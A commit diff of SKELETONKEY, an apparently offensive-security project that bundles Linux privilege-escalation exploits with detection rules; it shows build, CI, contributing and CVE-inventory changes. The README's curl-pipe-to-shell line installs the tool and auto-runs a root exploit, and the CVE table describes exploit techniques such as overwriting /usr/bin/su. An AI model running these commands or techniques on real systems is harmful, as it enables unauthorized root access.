Compare commits
26 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 97be306fd2 | |||
| a9c8f7d8c6 | |||
| 150f16bc97 | |||
| c63ee72aa1 | |||
| 86812b043d | |||
| 0d87cbc71c | |||
| 2b1e96336e | |||
| 1571b88725 | |||
| 36814f272d | |||
| d05a46c5c6 | |||
| ea1744e6f0 | |||
| c00c3b463a | |||
| 4f30d00a1c | |||
| 3e6e0d869b | |||
| a26f471ecf | |||
| cdb8f5e8f9 | |||
| 9a4cc91619 | |||
| ac557b67d0 | |||
| a8c8d5ef1f | |||
| 3b287f84f0 | |||
| 33f81aeb69 | |||
| 5be3c46719 | |||
| 58fb2e0951 | |||
| 2904fa159c | |||
| 2873133852 | |||
| 95135213e5 |
@@ -22,7 +22,8 @@ jobs:
|
|||||||
run: |
|
run: |
|
||||||
sudo apt-get update -qq
|
sudo apt-get update -qq
|
||||||
sudo apt-get install -y --no-install-recommends \
|
sudo apt-get install -y --no-install-recommends \
|
||||||
build-essential clang make linux-libc-dev
|
build-essential clang make linux-libc-dev \
|
||||||
|
libglib2.0-dev pkg-config
|
||||||
|
|
||||||
- name: show compiler
|
- name: show compiler
|
||||||
run: ${{ matrix.cc }} --version
|
run: ${{ matrix.cc }} --version
|
||||||
@@ -54,6 +55,18 @@ jobs:
|
|||||||
- name: sanity — --detect-rules sigma
|
- name: sanity — --detect-rules sigma
|
||||||
run: ./skeletonkey --detect-rules --format=sigma | head -50
|
run: ./skeletonkey --detect-rules --format=sigma | head -50
|
||||||
|
|
||||||
|
- name: tests — detect() unit suite
|
||||||
|
env:
|
||||||
|
CC: ${{ matrix.cc }}
|
||||||
|
run: |
|
||||||
|
# Run as a non-root user so modules' "already root" gates do
|
||||||
|
# not short-circuit before the synthetic host-fingerprint
|
||||||
|
# checks fire. The test binary itself is platform-agnostic;
|
||||||
|
# the assertions are #ifdef __linux__ guarded.
|
||||||
|
sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
|
||||||
|
sudo chown -R skeletonkeyci .
|
||||||
|
sudo -u skeletonkeyci make test
|
||||||
|
|
||||||
# Static build job: ensures the project links cleanly when -static is
|
# Static build job: ensures the project links cleanly when -static is
|
||||||
# requested. Useful for deployment to minimal containers / fleet scans
|
# requested. Useful for deployment to minimal containers / fleet scans
|
||||||
# where shared-libc availability isn't guaranteed.
|
# where shared-libc availability isn't guaranteed.
|
||||||
@@ -66,7 +79,8 @@ jobs:
|
|||||||
run: |
|
run: |
|
||||||
sudo apt-get update -qq
|
sudo apt-get update -qq
|
||||||
sudo apt-get install -y --no-install-recommends \
|
sudo apt-get install -y --no-install-recommends \
|
||||||
build-essential make linux-libc-dev libc6-dev
|
build-essential make linux-libc-dev libc6-dev \
|
||||||
|
libglib2.0-dev pkg-config
|
||||||
- name: make static
|
- name: make static
|
||||||
# Glibc static linking pulls in NSS at runtime which breaks
|
# Glibc static linking pulls in NSS at runtime which breaks
|
||||||
# getpwnam; the legacy DIRTYFAIL Makefile noted this. For now,
|
# getpwnam; the legacy DIRTYFAIL Makefile noted this. For now,
|
||||||
|
|||||||
@@ -6,6 +6,8 @@ build/
|
|||||||
modules/*/build/
|
modules/*/build/
|
||||||
modules/*/dirtyfail
|
modules/*/dirtyfail
|
||||||
modules/*/skeletonkey
|
modules/*/skeletonkey
|
||||||
|
/skeletonkey
|
||||||
|
/skeletonkey-test
|
||||||
.vscode/
|
.vscode/
|
||||||
.idea/
|
.idea/
|
||||||
*.swp
|
*.swp
|
||||||
|
|||||||
@@ -0,0 +1,89 @@
|
|||||||
|
# Contributing to SKELETONKEY
|
||||||
|
|
||||||
|
SKELETONKEY is a curated corpus. PRs welcome for the things below.
|
||||||
|
For everything else, open an issue first to discuss scope.
|
||||||
|
|
||||||
|
## What we accept
|
||||||
|
|
||||||
|
### 1. Kernel offsets for the `--full-chain` table
|
||||||
|
|
||||||
|
The 11 🟡 PRIMITIVE modules use the shared finisher in
|
||||||
|
`core/finisher.c` to convert their primitive into a root pop via
|
||||||
|
`modprobe_path` overwrite. That needs `&modprobe_path` (and friends)
|
||||||
|
at runtime — resolved via env vars / `/proc/kallsyms` /
|
||||||
|
`/boot/System.map` / the embedded `kernel_table[]` in
|
||||||
|
`core/offsets.c`.
|
||||||
|
|
||||||
|
The embedded table is **empty by default** to honor the
|
||||||
|
no-fabricated-offsets rule. Every entry must come from a real kernel
|
||||||
|
you have root on.
|
||||||
|
|
||||||
|
**Workflow:**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo skeletonkey --dump-offsets # on the target kernel build
|
||||||
|
# Paste the printed C struct entry into core/offsets.c kernel_table[]
|
||||||
|
# Open a PR titled "offsets: <distro> <kernel_release>"
|
||||||
|
```
|
||||||
|
|
||||||
|
Include in the PR body:
|
||||||
|
- Distro + kernel version (`uname -a`, `cat /etc/os-release`)
|
||||||
|
- How you verified the offsets (kallsyms / System.map / debuginfo)
|
||||||
|
- Whether `--full-chain` succeeds end-to-end against any 🟡 module
|
||||||
|
on that kernel (if you can test on a vulnerable build)
|
||||||
|
|
||||||
|
### 2. New modules
|
||||||
|
|
||||||
|
A new CVE module is welcome if:
|
||||||
|
|
||||||
|
- The bug is **patched in upstream mainline** (no 0days here)
|
||||||
|
- It has a public CVE assignment or clear advisory
|
||||||
|
- The kernel range it affects has realistic deployment footprint
|
||||||
|
- You can include a working detect() with branch-backport ranges
|
||||||
|
- You ship matching detection rules (auditd at minimum)
|
||||||
|
|
||||||
|
Use any existing module as a template. Lightest-weight reference:
|
||||||
|
`modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c`.
|
||||||
|
|
||||||
|
Mandatory:
|
||||||
|
- Detect short-circuits cleanly on patched kernels (we test this)
|
||||||
|
- `--i-know` gate on exploit
|
||||||
|
- Honest scope: `SKELETONKEY_EXPLOIT_OK` only after empirical root,
|
||||||
|
otherwise `EXPLOIT_FAIL` with diagnostic
|
||||||
|
- `NOTICE.md` crediting the original CVE reporter + PoC author
|
||||||
|
|
||||||
|
After the module file exists, wire it into:
|
||||||
|
- `core/registry.h` (extern declaration)
|
||||||
|
- `skeletonkey.c` main() (register call)
|
||||||
|
- `Makefile` (new objects + ALL_OBJS)
|
||||||
|
- `CVES.md` (inventory entry)
|
||||||
|
|
||||||
|
### 3. Detection rules
|
||||||
|
|
||||||
|
If you're adding only detection coverage (no exploit) for an
|
||||||
|
existing or new CVE, that's fine. Drop a sigma rule into the module
|
||||||
|
or a new auditd rule file.
|
||||||
|
|
||||||
|
### 4. Bug reports + CVE-status corrections
|
||||||
|
|
||||||
|
Distro backports that patched a CVE without bumping the upstream
|
||||||
|
version → file an issue. Same for kernels we mis-classify as
|
||||||
|
vulnerable.
|
||||||
|
|
||||||
|
## What we don't accept
|
||||||
|
|
||||||
|
- Untested code paths claiming `SKELETONKEY_EXPLOIT_OK`
|
||||||
|
- Per-kernel offsets fabricated without verification
|
||||||
|
- Modules without detection rules
|
||||||
|
- 0day disclosures (responsible disclosure first; bundle here
|
||||||
|
after upstream patch ships)
|
||||||
|
- Container escapes that don't chain to host root
|
||||||
|
|
||||||
|
## Code style
|
||||||
|
|
||||||
|
C99. Match the surrounding file. Run `make` and the existing
|
||||||
|
CI build (`.github/workflows/build.yml`) before opening the PR.
|
||||||
|
|
||||||
|
## License
|
||||||
|
|
||||||
|
By contributing you agree your work is MIT-licensed.
|
||||||
@@ -23,7 +23,33 @@ Status legend:
|
|||||||
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
||||||
historical reference only
|
historical reference only
|
||||||
|
|
||||||
**Counts (v0.3.1):** 🟢 13 · 🟡 11 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0
|
**Counts:** 31 modules total — 28 verified (🟢 14 · 🟡 14) plus 3
|
||||||
|
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot` —
|
||||||
|
see note below). 🔵 0 · ⚪ 0 planned-with-stub · 🔴 0. (One ⚪ row
|
||||||
|
below — CVE-2026-31402 — is a *candidate* with no module, not counted
|
||||||
|
as a module.)
|
||||||
|
|
||||||
|
> **Note on `dirtydecrypt` / `fragnesia` / `pack2theroot`:** all three
|
||||||
|
> are ported from public PoCs. The **exploit bodies** are not yet
|
||||||
|
> VM-verified end-to-end, so they're listed 🟡 but excluded from the
|
||||||
|
> 28-module verified corpus.
|
||||||
|
>
|
||||||
|
> All three now have **pinned fix commits and version-based
|
||||||
|
> `detect()`**:
|
||||||
|
> - `pack2theroot` reads PackageKit's `VersionMajor/Minor/Micro` over
|
||||||
|
> D-Bus and compares against fix release **1.3.5** (commit `76cfb675`).
|
||||||
|
> - `dirtydecrypt` uses the `kernel_range` model against mainline fix
|
||||||
|
> **`a2567217`** (Linux 7.0); kernels < 7.0 predate the vulnerable
|
||||||
|
> rxgk code per Debian's tracker.
|
||||||
|
> - `fragnesia` uses `kernel_range` against mainline **7.0.9**; older
|
||||||
|
> Debian-stable branches (5.10/6.1/6.12) are still listed vulnerable
|
||||||
|
> on Debian's tracker — backport entries will extend the table as
|
||||||
|
> distros publish them.
|
||||||
|
>
|
||||||
|
> `--auto` auto-enables active probes (forked per module so a probe
|
||||||
|
> crash cannot tear down the scan), which lets all three give an
|
||||||
|
> empirical confirmation on top of the version verdict. See each
|
||||||
|
> module's `MODULE.md`.
|
||||||
|
|
||||||
Every module ships a `NOTICE.md` crediting the original CVE
|
Every module ships a `NOTICE.md` crediting the original CVE
|
||||||
reporter and PoC author. `skeletonkey --dump-offsets` populates the
|
reporter and PoC author. `skeletonkey --dump-offsets` populates the
|
||||||
@@ -59,7 +85,13 @@ root on a host can upstream their kernel's offsets via PR.
|
|||||||
| CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
|
| CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
|
||||||
| CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
|
| CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
|
||||||
| CVE-2023-0179 | nft_payload set-id memory corruption | LPE (regs->data[] OOB R/W) | mainline 6.2-rc4 / 6.1.6 (Jan 2023) | `nft_payload` | 🟡 | Davide Ornaghi. NFTA_SET_DESC variable-length element + NFTA_SET_ELEM_EXPRESSIONS payload-set whose verdict.code drives the OOB. Dual cg-96 + 1k spray. Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 / 5.15.88 / 6.1.6. |
|
| CVE-2023-0179 | nft_payload set-id memory corruption | LPE (regs->data[] OOB R/W) | mainline 6.2-rc4 / 6.1.6 (Jan 2023) | `nft_payload` | 🟡 | Davide Ornaghi. NFTA_SET_DESC variable-length element + NFTA_SET_ELEM_EXPRESSIONS payload-set whose verdict.code drives the OOB. Dual cg-96 + 1k spray. Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 / 5.15.88 / 6.1.6. |
|
||||||
| CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. |
|
| CVE-2021-3156 | sudo Baron Samedit — `sudoedit -s` heap overflow | LPE (userspace setuid sudo) | sudo 1.9.5p2 (Jan 2021) | `sudo_samedit` | 🟡 | Qualys Baron Samedit. Heap overflow via `sudoedit -s '\'` escaped-backslash parsing. Affects sudo 1.8.2 ≤ V ≤ 1.9.5p1. Heap-tuned exploit — may crash sudo on a mismatched layout. Ships auditd + sigma rules. |
|
||||||
|
| CVE-2021-33909 | Sequoia — `seq_file` size_t overflow → kernel stack OOB | LPE (kernel stack OOB write) | mainline 5.13.4 / 5.10.52 / 5.4.134 (Jul 2021) | `sequoia` | 🟡 | Qualys Sequoia. `size_t`-to-`int` conversion in `seq_file` drives an OOB write off the kernel stack via a deeply-nested directory mount. Primitive-only — fires the overflow + records a witness; no portable cred chain. Branch backports: 5.13.4 / 5.10.52 / 5.4.134. Ships auditd rule. |
|
||||||
|
| CVE-2023-22809 | sudoedit `EDITOR`/`VISUAL` `--` argv escape | LPE (userspace setuid sudoedit) | sudo 1.9.12p2 (Jan 2023) | `sudoedit_editor` | 🟢 | Structural argv-injection — an extra `--` in `EDITOR`/`VISUAL` makes setuid `sudoedit` open an attacker-chosen file as root. No kernel state, no offsets, no race. Affects sudo 1.8.0 ≤ V < 1.9.12p2. Ships auditd + sigma rules. |
|
||||||
|
| CVE-2023-2008 | vmwgfx DRM buffer-object size-validation OOB | LPE (kernel R/W via kmalloc-512 OOB) | mainline 6.3-rc6 (Apr 2023) | `vmwgfx` | 🟡 | vmwgfx DRM `bo` size-validation gap → OOB write in kmalloc-512. Affects 4.0 ≤ K < 6.3-rc6 on hosts with the `vmwgfx` module loaded (VMware guests). Primitive-only — fires the OOB + slab witness; no cred chain. Branch backports: 6.2.10 / 6.1.23. Ships auditd rule. |
|
||||||
|
| CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `<not-affected, vulnerable code not present>` for 5.10/6.1/6.12); kernels ≥ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. |
|
||||||
|
| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
|
||||||
|
| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
|
||||||
|
|
||||||
## Operations supported per module
|
## Operations supported per module
|
||||||
|
|
||||||
@@ -91,6 +123,13 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
|
|||||||
| af_unix_gc | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
| af_unix_gc | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
||||||
| nft_fwd_dup | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
| nft_fwd_dup | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
||||||
| nft_payload | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
|
| nft_payload | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
|
||||||
|
| sudo_samedit | ✓ | ✓ (primitive) | — (upgrade sudo) | ✓ (crumb nuke) | ✓ (auditd + sigma) |
|
||||||
|
| sequoia | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (nested-tree + mount teardown) | ✓ (auditd) |
|
||||||
|
| sudoedit_editor | ✓ | ✓ | — (upgrade sudo) | ✓ (revert written file) | ✓ (auditd + sigma) |
|
||||||
|
| vmwgfx | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (log unlink) | ✓ (auditd) |
|
||||||
|
| dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||||
|
| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||||
|
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
|
||||||
|
|
||||||
## Pipeline for additions
|
## Pipeline for additions
|
||||||
|
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ BUILD := build
|
|||||||
BIN := skeletonkey
|
BIN := skeletonkey
|
||||||
|
|
||||||
# core/
|
# core/
|
||||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c
|
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c core/host.c
|
||||||
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
|
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
|
||||||
|
|
||||||
# Family: copy_fail_family
|
# Family: copy_fail_family
|
||||||
@@ -142,17 +142,74 @@ VMW_DIR := modules/vmwgfx_cve_2023_2008
|
|||||||
VMW_SRCS := $(VMW_DIR)/skeletonkey_modules.c
|
VMW_SRCS := $(VMW_DIR)/skeletonkey_modules.c
|
||||||
VMW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VMW_SRCS))
|
VMW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VMW_SRCS))
|
||||||
|
|
||||||
|
# Family: dirtydecrypt (CVE-2026-31635) — rxgk page-cache write
|
||||||
|
DDC_DIR := modules/dirtydecrypt_cve_2026_31635
|
||||||
|
DDC_SRCS := $(DDC_DIR)/skeletonkey_modules.c
|
||||||
|
DDC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DDC_SRCS))
|
||||||
|
|
||||||
|
# Family: fragnesia (CVE-2026-46300) — XFRM ESP-in-TCP page-cache write
|
||||||
|
FGN_DIR := modules/fragnesia_cve_2026_46300
|
||||||
|
FGN_SRCS := $(FGN_DIR)/skeletonkey_modules.c
|
||||||
|
FGN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FGN_SRCS))
|
||||||
|
|
||||||
|
# Family: pack2theroot (CVE-2026-41651) — PackageKit TOCTOU userspace LPE.
|
||||||
|
# Needs GLib/GIO for D-Bus; the build autodetects via `pkg-config gio-2.0`.
|
||||||
|
# When absent (e.g. no libglib2.0-dev on the build host), the module
|
||||||
|
# compiles as a stub that returns PRECOND_FAIL with a hint to install
|
||||||
|
# the dev package and rebuild.
|
||||||
|
P2TR_DIR := modules/pack2theroot_cve_2026_41651
|
||||||
|
P2TR_SRCS := $(P2TR_DIR)/skeletonkey_modules.c
|
||||||
|
P2TR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(P2TR_SRCS))
|
||||||
|
|
||||||
|
P2TR_GIO_OK := $(shell pkg-config --exists gio-2.0 2>/dev/null && echo 1 || echo 0)
|
||||||
|
ifeq ($(P2TR_GIO_OK),1)
|
||||||
|
P2TR_CFLAGS := $(shell pkg-config --cflags gio-2.0) -DPACK2TR_HAVE_GIO
|
||||||
|
P2TR_LIBS := $(shell pkg-config --libs gio-2.0)
|
||||||
|
else
|
||||||
|
P2TR_CFLAGS :=
|
||||||
|
P2TR_LIBS :=
|
||||||
|
endif
|
||||||
|
|
||||||
|
# Per-object CFLAGS for the pack2theroot translation unit (GLib include
|
||||||
|
# paths). Target-specific vars are scoped to this object's recipe.
|
||||||
|
$(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS)
|
||||||
|
|
||||||
# Top-level dispatcher
|
# Top-level dispatcher
|
||||||
TOP_OBJ := $(BUILD)/skeletonkey.o
|
TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||||
|
|
||||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) $(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS)
|
# All module objects in one var so both the main binary and the test
|
||||||
|
# binary can re-use the list without duplicating the long enumeration.
|
||||||
|
MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
|
||||||
|
$(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) \
|
||||||
|
$(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) \
|
||||||
|
$(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) \
|
||||||
|
$(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
|
||||||
|
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS)
|
||||||
|
|
||||||
.PHONY: all clean debug static help
|
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(MODULE_OBJS)
|
||||||
|
|
||||||
|
# Tests — `make test` builds and runs the detect() unit-test harness.
|
||||||
|
# Links against the same module objects as the main binary minus the
|
||||||
|
# top-level dispatcher (which provides main(); the test has its own).
|
||||||
|
TEST_DIR := tests
|
||||||
|
TEST_SRCS := $(TEST_DIR)/test_detect.c
|
||||||
|
TEST_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_SRCS))
|
||||||
|
TEST_BIN := skeletonkey-test
|
||||||
|
TEST_ALL_OBJS := $(TEST_OBJS) $(CORE_OBJS) $(MODULE_OBJS)
|
||||||
|
|
||||||
|
.PHONY: all clean debug static help test
|
||||||
|
|
||||||
all: $(BIN)
|
all: $(BIN)
|
||||||
|
|
||||||
$(BIN): $(ALL_OBJS)
|
$(BIN): $(ALL_OBJS)
|
||||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread
|
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
||||||
|
|
||||||
|
$(TEST_BIN): $(TEST_ALL_OBJS)
|
||||||
|
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
||||||
|
|
||||||
|
test: $(TEST_BIN)
|
||||||
|
@echo "[*] running test suite ($(TEST_BIN))"
|
||||||
|
./$(TEST_BIN)
|
||||||
|
|
||||||
# Generic compile: any .c → corresponding .o under build/
|
# Generic compile: any .c → corresponding .o under build/
|
||||||
$(BUILD)/%.o: %.c
|
$(BUILD)/%.o: %.c
|
||||||
@@ -166,13 +223,14 @@ static: LDFLAGS += -static
|
|||||||
static: clean $(BIN)
|
static: clean $(BIN)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
rm -rf $(BUILD) $(BIN)
|
rm -rf $(BUILD) $(BIN) $(TEST_BIN)
|
||||||
|
|
||||||
help:
|
help:
|
||||||
@echo "Targets:"
|
@echo "Targets:"
|
||||||
@echo " make build optimized skeletonkey binary"
|
@echo " make build optimized skeletonkey binary"
|
||||||
@echo " make debug build with -O0 -g3"
|
@echo " make debug build with -O0 -g3"
|
||||||
@echo " make static build a fully static binary"
|
@echo " make static build a fully static binary"
|
||||||
|
@echo " make test build + run the detect() unit test suite"
|
||||||
@echo " make clean remove build artifacts"
|
@echo " make clean remove build artifacts"
|
||||||
@echo ""
|
@echo ""
|
||||||
@echo "Per-module (legacy) — not built by default:"
|
@echo "Per-module (legacy) — not built by default:"
|
||||||
|
|||||||
@@ -1,167 +1,224 @@
|
|||||||
# SKELETONKEY
|
# SKELETONKEY
|
||||||
|
|
||||||
> A curated, actively-maintained corpus of Linux kernel LPE exploits —
|
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
||||||
> bundled with their detection signatures, patch status, and version
|
[](LICENSE)
|
||||||
> ranges. Run it on a system you own (or are authorized to test) and
|
[](CVES.md)
|
||||||
> it tells you which historical and recent CVEs that system is still
|
[](#)
|
||||||
> vulnerable to, and — with explicit confirmation — gets you root.
|
|
||||||
|
|
||||||
> ⚠️ **Authorized testing only.** SKELETONKEY is a research and red-team
|
> **One curated binary. 28 verified Linux LPE exploits, 2016 → 2026
|
||||||
> tool. By using it you assert you have explicit authorization to test
|
> (+3 ported-but-unverified). Detection rules in the box. One command
|
||||||
> the target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
|
> picks the safest one and runs it.**
|
||||||
|
|
||||||
## Quickstart
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# One-shot install (x86_64 / arm64; checksum-verified)
|
|
||||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
|
||||||
```
|
|
||||||
|
|
||||||
### One-command root (sysadmins / red-team)
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||||
&& skeletonkey --auto --i-know
|
&& skeletonkey --auto --i-know
|
||||||
```
|
```
|
||||||
|
|
||||||
`--auto` scans every bundled module's `detect()`, ranks the vulnerable
|
> ⚠️ **Authorized testing only.** SKELETONKEY runs real exploits. By
|
||||||
ones by **exploit safety** (structural escapes first, page-cache writes
|
> using it you assert you have explicit authorization to test the
|
||||||
next, kernel primitives, kernel races last), and runs the safest one.
|
> target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
|
||||||
If it fails, it suggests the next candidates. Authorized testing only.
|
|
||||||
|
|
||||||
**skeletonkey runs as a normal unprivileged user** — that's the whole
|
## Why use this
|
||||||
point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all
|
|
||||||
work without `sudo`. Only `--mitigate` and rule-file installation
|
Most Linux privesc tooling is broken in one of three ways:
|
||||||
write to root-owned paths.
|
|
||||||
|
- **`linux-exploit-suggester` / `linpeas`** — tell you what *might*
|
||||||
|
work, run nothing
|
||||||
|
- **`auto-root-exploit` / `kernelpop`** — bundle exploits but ship
|
||||||
|
no detection signatures and went stale years ago
|
||||||
|
- **Per-CVE PoC repos** — one author, one distro, abandoned within
|
||||||
|
months
|
||||||
|
|
||||||
|
SKELETONKEY is one binary, actively maintained, with detection rules
|
||||||
|
for every CVE in the bundle — same project for red and blue teams.
|
||||||
|
|
||||||
|
## Who it's for
|
||||||
|
|
||||||
|
| Audience | What you get |
|
||||||
|
|---|---|
|
||||||
|
| **Red team / pentesters** | One tested binary. `--auto` ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. |
|
||||||
|
